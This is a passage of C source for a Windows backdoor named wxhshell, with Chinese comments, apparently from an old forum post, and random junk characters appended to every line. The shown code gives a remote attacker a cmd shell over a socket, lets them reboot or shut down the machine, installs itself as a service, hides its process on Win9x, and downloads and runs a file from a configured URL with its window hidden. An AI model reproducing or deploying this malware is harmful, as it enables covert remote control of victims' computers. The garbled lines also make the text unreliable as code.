      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9c],<;{'  
    break; Jm@oDME_E  
  } 7<4qQ.deE  
  // 安装 st*gs-8jJ;  
  case 'i': { YSMAd-Ef-  
    if(Install()) cQ|NJ_F{1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }H2 R3icE  
    else "@kaHIf[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `cO:<^%  
    break; gw(z1L5 n  
    } $b\P|#A  
  // 卸载 \e_O4  
  case 'r': { XW9!p.*.U  
    if(Uninstall()) Bvj0^fSm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zs;JJk^  
    else }]Tx lSp!;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Ex|9FCt$  
    break; @HW*09TG  
    } X&zis1A<  
  // 显示 wxhshell 所在路径 g0H[*"hj  
  case 'p': { ,Q B<7a+I  
    char svExeFile[MAX_PATH]; 58K5ZZG  
    strcpy(svExeFile,"\n\r"); rNM;ZPF#  
      strcat(svExeFile,ExeFile); J,G lIv.A  
        send(wsh,svExeFile,strlen(svExeFile),0); |qLh5Ty  
    break; }G=M2V<L  
    } e!`i3KYn"  
  // 重启 R]dg_Da  
  case 'b': { SuznN L=/$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n%-0V>  
    if(Boot(REBOOT)) ?"FbsMk.d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l%ZhA=TKQ  
    else { l, wp4 Ll  
    closesocket(wsh); o  K@"f9  
    ExitThread(0); ToQ"Iy?  
    } D$N /FJ8|G  
    break; {*KEP  
    } *I'yH8Fcn  
  // 关机 !W0v >p  
  case 'd': { 8fb'yjIC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'S~5"6r  
    if(Boot(SHUTDOWN)) \9d$@V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l~.-e^p?  
    else { *VeRVaBl  
    closesocket(wsh); g>sSS8R O  
    ExitThread(0); zQA`/&=Y  
    } HDKbF/  
    break; F?cK- .  
    } +#By*;BJ  
  // 获取shell & ~!Wym  
  case 's': { -&;TA0~;  
    CmdShell(wsh); G:JR7N$  
    closesocket(wsh); i!cCMh8  
    ExitThread(0); X.V~SeS  
    break; _|]x2xb)  
  } V1?]|HTQcT  
  // 退出 <Qq*p  
  case 'x': { C7vxw-o|&p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uMv1O{  
    CloseIt(wsh); j4b4!^fV  
    break; KgG4*<  
    } zVD:#d% b  
  // 离开 nie%eC&U  
  case 'q': { ]d`VT)~vje  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bfO=;S]b!  
    closesocket(wsh); |'.  
    WSACleanup(); XM}hUJJW  
    exit(1); W`&hp6Jq  
    break; TKjFp%  
        } yBRC*0+Vy  
  } rbQR,Nf2x  
  } 8] ikygt"  
~v83pu1!2s  
  // 提示信息 Th[dW<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , dp0;nkr  
} iCyf Oh  
  } fX)# =c|5  
SB7c.H,  
  return; y?0nI<}}HK  
} vI]N^j2%  
%bfZn9_m  
// shell模块句柄 };g"GNy  
int CmdShell(SOCKET sock) v LZoa-w:  
{ <t,x RBk  
STARTUPINFO si; KYP!Rs/j.  
ZeroMemory(&si,sizeof(si)); }&e5$lB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #[a*rD%m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kW (Bkuc)  
PROCESS_INFORMATION ProcessInfo; pNIf=lA  
char cmdline[]="cmd"; qCO/?kW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C-[1iW'  
  return 0; qw8Rlws%  
} $g7<Y*t[  
M[uA@  
// 自身启动模式 v}x&?fU `  
int StartFromService(void) m6djeOl  
{ 4aY|TN/|  
typedef struct f9;(C4+  
{ ERt{H3eCcJ  
  DWORD ExitStatus; QIgNsz  
  DWORD PebBaseAddress; ]tDDq=+v  
  DWORD AffinityMask; "vslZ`RU  
  DWORD BasePriority; {GO#.P"  
  ULONG UniqueProcessId; Lxk[;j+  
  ULONG InheritedFromUniqueProcessId; Q^ (b)>?r;  
}   PROCESS_BASIC_INFORMATION; mQ=#nk$~g  
HdG2X  
PROCNTQSIP NtQueryInformationProcess; )Z VD+X  
)Beiu*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u4_9)P`]0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ow077v ?  
42{:G8  
  HANDLE             hProcess; LrK,_)r:~  
  PROCESS_BASIC_INFORMATION pbi; ~= -RK$=  
w-{c.x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p^u:&Quac  
  if(NULL == hInst ) return 0; @fV9 S"TcM  
I9Fr5p-%O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2>H24F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )tpL#J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); - R6)ROGl  
+H2-ZXr  
  if (!NtQueryInformationProcess) return 0; D)'bH5  
L~>i,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); - CWywuD  
  if(!hProcess) return 0; ilva,WFa^  
kM@zyDn,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2wgg7[tGi  
8h4'(yGQQW  
  CloseHandle(hProcess); Pc o'l#:  
(Clkv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uv~QUL3>  
if(hProcess==NULL) return 0; c7E11 \%&Z  
PJ'E/C)i  
HMODULE hMod; &(mR> mT  
char procName[255]; F.v{-8GV  
unsigned long cbNeeded; K!]/(V(}  
Q?/o%`N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H]jhAf<h  
m<g~H4  
  CloseHandle(hProcess);  bnLPlf  
c\V7i#u[d;  
if(strstr(procName,"services")) return 1; // 以服务启动 gOOPe5+ J  
M {Q;:  
  return 0; // 注册表启动 PIpi1v*qz  
} |qZ1|  
7 ^mL_SMj  
// 主模块 d$AWu{y  
int StartWxhshell(LPSTR lpCmdLine) g2/8~cn8z  
{ mS~kJy_-  
  SOCKET wsl; mju>>\9  
BOOL val=TRUE; f.`*Qg L  
  int port=0; V}NbuvDB@  
  struct sockaddr_in door; Sa`Xf\  
om-omo&,X=  
  if(wscfg.ws_autoins) Install(); =6|&Jt  
-{vKus  
port=atoi(lpCmdLine); y {<9]'  
q,U+qt  
if(port<=0) port=wscfg.ws_port; e2W".+B1  
3CGp`~Zf  
  WSADATA data; gH3vk $WS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wh 2tNyS  
c#tjp(-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }t1a* z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?vHU #  
  door.sin_family = AF_INET; 1&(V   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g]yBA7/S"  
  door.sin_port = htons(port); ^J8lBLqe  
'xg Lt(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZH)="qx [  
closesocket(wsl); o"BoZsMk  
return 1; @\P;W(m.i  
} *lw_=MXSK  
3az&<Pqb  
  if(listen(wsl,2) == INVALID_SOCKET) { hJ#xB6  
closesocket(wsl); M8b;d}XL  
return 1; t; {F%9j{  
} l.bYE/F0&  
  Wxhshell(wsl); Yv!a88+A8M  
  WSACleanup(); #!KE\OI;@5  
E5lBdM>2  
return 0; 9dUravC7  
:#?5X|Gz  
} ?+a,m# Yx  
mh[75(  
// 以NT服务方式启动 ^ tg<K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  J@Q7p}  
{ P8)=Kbd  
DWORD   status = 0; ,.1Psz^U  
  DWORD   specificError = 0xfffffff; w{@o^rs  
> eIP.,9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |! E)GahM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f-n1I^|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ApV~( k)W  
  serviceStatus.dwWin32ExitCode     = 0; \\dM y9M-  
  serviceStatus.dwServiceSpecificExitCode = 0; o-OHjFfB  
  serviceStatus.dwCheckPoint       = 0; wN-d'-z/rd  
  serviceStatus.dwWaitHint       = 0; <drODjB  
TS9|a{j3!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |pp*|v1t  
  if (hServiceStatusHandle==0) return; (/j/>9iro  
5ZK@`jkE  
status = GetLastError(); ?9\EN|O^  
  if (status!=NO_ERROR) K[r^'P5m  
{ #[~pD:qqM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E:}r5S) 4  
    serviceStatus.dwCheckPoint       = 0; 7Vo$(kj  
    serviceStatus.dwWaitHint       = 0; 4$S;(  
    serviceStatus.dwWin32ExitCode     = status; DBD%6o>]K  
    serviceStatus.dwServiceSpecificExitCode = specificError; =U|.^5sa#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?!cvf{a  
    return; zhRB,1iG  
  } 71gT.E  
sVv xHkt@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ua]o6GlO  
  serviceStatus.dwCheckPoint       = 0; iIa'2+  
  serviceStatus.dwWaitHint       = 0; W!&'pg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '~&X wZ&  
} Md2>3-  
lWc:$qnR-K  
// 处理NT服务事件,比如:启动、停止 S` ;?z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2h1C9n%j9  
{ !&/{E [  
switch(fdwControl) ytoo~n  
{ JB`\G=PiL  
case SERVICE_CONTROL_STOP: <|+Ex  
  serviceStatus.dwWin32ExitCode = 0; TDNQu_E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (Cd\G=PK  
  serviceStatus.dwCheckPoint   = 0; ?$^2Umt 0  
  serviceStatus.dwWaitHint     = 0; yXF?H"h(  
  { ws|;  `  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GlT7b/JCG  
  } S=nzw-(I  
  return; /8g^T")  
case SERVICE_CONTROL_PAUSE: fhp<oe>D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;\Y& ce  
  break; U($dx.`v#  
case SERVICE_CONTROL_CONTINUE: ( ?{MEwHG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;YX4:OBqr  
  break; ez^@NK  
case SERVICE_CONTROL_INTERROGATE: _/!y)&4"  
  break; YmgLzGk`  
}; :1^R9yWA4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &n?^$LTPY  
} o=?C&f{  
z3M6V}s4  
// 标准应用程序主函数 oMTf"0EIW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MP 2~;T}~  
{ C{DvD'^  
^__Dd)(  
// 获取操作系统版本 \y)  
OsIsNt=GetOsVer(); ``e$AS  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  {=QiZWu  
pg%aI,  
  // 从命令行安装 +H #U~p$  
  if(strpbrk(lpCmdLine,"iI")) Install(); ux3<l+jv^  
#x3ujJ  
  // 下载执行文件 3*)ig@e6  
if(wscfg.ws_downexe) { yz*6W zD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .j>hI="b  
  WinExec(wscfg.ws_filenam,SW_HIDE); SD$h@p=!=  
} pV,P|>YTf  
F^LZeF[#t  
if(!OsIsNt) { ?0oUS+lU  
// 如果时win9x,隐藏进程并且设置为注册表启动 <_Q:'cx'  
HideProc(); HcV"X,7S  
StartWxhshell(lpCmdLine); Xo*%/0q'  
} uDSxTz{  
else ^:* 1d \  
  if(StartFromService()) X>. NFB  
  // 以服务方式启动 B7<Kc  
  StartServiceCtrlDispatcher(DispatchTable); %ck]S!}6  
else Bk\Gj`"7  
  // 普通方式启动 Bv. `R0e&  
  StartWxhshell(lpCmdLine); -7&Gi +]  
ku a) K!  
return 0; @%lBrM  
}
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只看该作者 1 发表于: 2006-10-10
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